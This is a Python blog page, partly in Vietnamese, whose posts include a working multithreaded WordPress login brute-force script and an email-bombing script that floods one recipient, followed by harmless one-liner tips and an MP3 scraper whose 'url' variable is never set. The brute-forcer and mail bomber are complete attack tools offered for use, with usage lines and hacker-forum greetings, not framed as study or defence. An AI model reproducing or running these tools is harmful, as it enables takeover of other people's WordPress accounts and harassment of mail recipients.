Showing posts with label Python. Show all posts
Showing posts with label Python. Show all posts

code brute-force wordpress

#!/usr/bin/python 
# Video: http://youtu.be/mURnM-Yp72g 
# Coded By: xSecurity

import urllib, urllib2, os, sys, requests as xsec, re
from time import sleep
from threading import Thread
def cls():
    linux = 'clear'
    windows = 'cls'
    os.system([linux,windows][os.name == 'nt']) 
cls()
print '''
       __                      _ _         
__  __/ _\ ___  ___ _   _ _ __(_) |_ _   _ 
\ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
 >  < _\ \  __/ (__| |_| | |  | | |_| |_| |
/_/\_\\__/\___|\___|\__,_ |_|  |_|\__|\__, |
                                     |___/WordPress Brute Muliththreading :)
#Home: Sec4ever.CoM | Is-Sec.CoM | s3c-k.com
#Greets: UzunDz - b0x - Lov3rDNS - Mr.Dm4r - DamaneDz - rOx - r0kin 
Special For My Lov3r Cyber-Crystal
#Usage: Python wp.py http://target.com/ admin pass.txt
#Note: U Need Install Requests Package: http://www.youtube.com/watch?v=Ng5T18HyA-Q'''

xsec = xsec.session()
def brute(target,usr,pwd):
    get = xsec.get(target+'/wp-admin/')
    post = {}
    post["log"] = usr
    post["pwd"] = pwd
    post["wp-submit"] = "Log+in"
    post["redirect_to"] = target
    post["testcookie"] = "1"
    get2 = xsec.post(target+'/wp-login.php' , data=urllib.urlencode(post))
    get3 = xsec.get(target+'/wp-admin')
    if '<li id="wp-admin-bar-logout">' in get3.text:
        print '[+] Cracked Username: '+usr+' & Password: '+pwd
        os._exit(1)
    else:
        print '[~] Trying ...: '+pwd

if len(sys.argv) >= 3:
    target = sys.argv[1]
    usr = sys.argv[2]
    lst = open(sys.argv[3]).read().split("\n") 
    print '[*]Target: '+target
    print '[*]LIST:',len(lst)
    print '[*]Username: '+usr
    thrdlst = []
    for pwd in lst:
        t = Thread(target=brute, args=(target,usr,pwd))
        t.start()
        thrdlst.append(t)
        sleep(0.009)
    for b in thrdlst:
        b.join()
else:
    print '[>]There Somthing Missing Check ARGVS :)'

code mail pythom

  1. # code bom mail by Kevin Kien
  2. import os
  3. import smtplib
  4. import sys
  5. server = raw_input ('Server Mail: ')
  6. user = raw_input('Username: ')
  7. passwd = raw_input('Password: ')
  8. to = raw_input('To: ')
  9. subject = raw_input('Subject: ')
  10. body = raw_input('Message: ')
  11. total = input('Number of send: ')
  12. if server == 'gmail':
  13.     smtp_server = 'smtp.gmail.com'
  14.     port = 587
  15. elif server == 'yahoo':
  16.     smtp_server = 'smtp.mail.yahoo.com'
  17.     port = 25
  18. else:
  19.     print 'Applies only to gmail and yahoo.'
  20.     sys.exit()
  21. print ''
  22. try:
  23.     server = smtplib.SMTP(smtp_server,port)
  24.     if smtp_server == "smtp.gmail.com":
  25.             server.starttls()
  26.     server.login(user,passwd)
  27.     for i in range(1, total+1):
  28.         subject = os.urandom(9)
  29.         msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  30.         server.sendmail(user,to,msg)
  31.         print "\rTotal emails sent: %i" % i
  32.         sys.stdout.flush()
  33.     server.quit()
  34.     print '\n Done !!!'
  35. except KeyboardInterrupt:
  36.     print '[-] Canceled'
  37.     sys.exit()
  38. except smtplib.SMTPAuthenticationError:
  39.     print '\n[!] The username or password you entered is incorrect.'
  40.     sys.exit()

Pyhton One-line

Python one-line la bai toan don gian chi lam tren 1 dong

1, Lam thang 1 list
vd: 1 list nhu sau L = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]] bien no thanh dang: L = [1,2,3,4,5,6,7,8,9,10,11,12]
O day minh su dung 1 ham la reduce hoac neu ban nao dung python 3.0 tro len thi dung thu vien functools.reduce nhe:
Con day la loi giai cua bai nay:

L = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]]
reduce(lambda x, y: x + y, L)
hoac: functools.reduce(lambda x, y: x + y, L)

1 cach giai nua la: sum(L, [])


2, Loai bo cac phan tu trung nhau
vd: co 1 list nhu sau l = [1,2,2,1,1,1,3,3,3,4,4,6,5,4,8,] no se loai bo cac phan tu giong nhau l =[1,2,3,4,5,6,8]
o bai nay co 3 cach giai :
thu nhat : l = list(set(l))
cach thu 2;
l  = dict.fromkeys(l).key()
cach thu 3:  [x for i, x in enumerate(l) if i==l.index(x)]

3, Dem so phan tu co trong 1 list
dict([(x, L.count(x)) for x in set(L)])

{x: L.count(x) for x in set(L)}

import collections
collections.Counter(L)

4, Chia 1 list thanh nhieu list

SplitInto= lambda L, n: [L[i:i+n] for i in range(0, len(L), n)]
>>> SplitInto(range(10), 3)

5, kiem tra 1 list co la tap con cua list khac


all([x in a for x in b])

http://www.vithon.org/2010/01/22/python-one-liner


Python - tai nhac


from urllib2 import urlopen
import urllib2
import re
import sys
import string
from datetime import datetime
import os
def httpDownloader(out_file, req=None, url=None):
    if req:
        net_stream = urlopen(req)
    elif url:
        net_stream = urlopen(url)
    else:
        return 0
    file_len = int(net_stream.info().getheaders('content-length')[0])
    if os.path.isfile(out_file):
        if os.path.getsize(out_file) == file_len:
            print "%s exists!" % out_file
            return 0
        else:
            print "%s exists but was not fully downloaded!" % out_file
    print "Downloading %s..." % out_file
    out_stream = open (out_file, 'wb')
    try:
        while True:
            bs = 512*8
            block = net_stream.read(bs)
            if not block:
                break
            out_stream.write(block)
    except:
        out_stream.close()
        net_stream.close()
        return 0
    out_stream.close()
    net_stream.close()
    return 1
#########################
#Main program
#########################
if __name__ == '__main__':
    #Destination directory, where folder will be placed
    #dest_dir = "~/Music"
    dest_dir = "/media/Data/Music"
    #url
    #fake the mozilla headers
    hdrs = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US)AppleWebKit/533.2\
            (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2'}
    #get the current month
    dt = datetime.today()
    month = dt.month
    dest_dir = os.path.expanduser(dest_dir)
    sub_dir = string.join(["Thang", str(month)], '')
    #absolute path to destination directory
    if dest_dir[-1] == '/':
        abs_dir = string.join([dest_dir, sub_dir, '/'], '')
    else:
        abs_dir = string.join([dest_dir, '/', sub_dir, '/'], '')
    if not os.path.isdir(abs_dir):
        try:
            os.mkdir(abs_dir)
        except:
            print "Error, Can not create the directory %s" % abs_dir
            sys.exit()
    #make request
    req = urllib2.Request(url, headers=hdrs)
    #create streamreader
    fpage = urlopen(req)
    #regex
    fline = re.compile(r'http://.*dl\.mp3.*\.mp3\"')
    _rem = re.compile(r'\?filename=|\"')
     
     
    links_list = []
    try:
        while True:
            lnk = fpage.readline()
            if not lnk:
                break
            else:
                rlink = fline.search(lnk)
                if rlink:
                    link_and_name = _rem.sub(' ', rlink.group())
                    splitted = link_and_name.split()
                    links_list.append([splitted[0], splitted[1]])
    finally:
        fpage.close()
    count = 0
    try:
        for [link, file_name] in links_list:
            link_req = urllib2.Request(link, headers=hdrs)
            out_file = string.join([abs_dir, file_name], '')
            count = count + httpDownloader(out_file, req=link_req)
    except KeyboardInterrupt:
        print "User pressed Ctrl-C! Quitting..."
        sys.exit(1)
    except :
        print "Something was wrong with links, please check the links!"
         
                                        
                                        
    print "=========================================================="
    print "%d file(s) have/s been downloaded to %s" % (count, abs_dir)
    print "=========================================================="